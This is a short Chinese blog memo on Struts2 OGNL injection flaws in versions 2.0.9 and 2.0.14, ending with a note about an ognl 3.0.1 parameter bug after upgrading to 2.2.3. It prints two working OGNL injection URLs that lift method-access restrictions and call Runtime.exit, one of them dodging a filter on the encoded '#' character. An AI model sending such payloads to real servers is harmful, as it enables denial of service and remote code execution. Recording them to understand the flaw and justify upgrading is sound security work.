struts2-ognl mark

最新推荐文章于 2025-05-19 06:44:20 发布

宋玮-深圳

最新推荐文章于 2025-05-19 06:44:20 发布

阅读量134

点赞数

CC 4.0 BY-SA版权

分类专栏：技术点滴文章标签： java

本文链接：https://blog.youkuaiyun.com/d8111/article/details/84122116

技术点滴专栏收录该内容

52 篇文章

订阅专栏

本文详细探讨了Struts2版本2.0.9和2.0.14中存在的漏洞，包括利用漏洞的方法以及如何通过升级到Struts2.2.3并解决ognl3.0.1产生的小bug来规避这些问题。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

暂时mark在这，后面再补充

1. 关于漏洞的问题

http://localhost:8080/struts2-blank-2.0.14/example/HelloWorld.action

2.0.9不行

http://localhost:8080/struts2-blank-2.0.14/example/HelloWorld.action?('\u0023_memberAccess[\'allowStaticMethodAccess\']')(meh)=true&(aaa)(('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003d\u0023foo')(\u0023foo\u003dnew%20java.lang.Boolean("false")))&(asdf)(('\u0023rt.exit(1)')(\u0023rt\u003d@java.lang.Runtime@getRuntime()))=1

2.0.14失效

仅过滤\u0023不行

http://localhost:8080/struts2-blank-2.0.14/example/HelloWorld.action?('\u0023_memberAccess[\'allowStaticMethodAccess\']')(meh)=true&(aaa)(('zz')(('\43context[\'xwork.MethodAccessor.denyMethodExecution\']\u003dfalse')(x))(zzxx))&('aaa')((('\43context.excludeProperties\u003dEMPTY_SET')('x'))(zzxx))&(asdf)(('@java.lang.Runtime@getRuntime().exit(1)')('z'))

2.ognl3.0.1的问题

升级到struts2.2.3之后，ognl3.0.1会产生一个小bug。基本类型的参数，比如int,long,short，如果在请求参数中没有赋值，会抛出NosuchMethod的异常。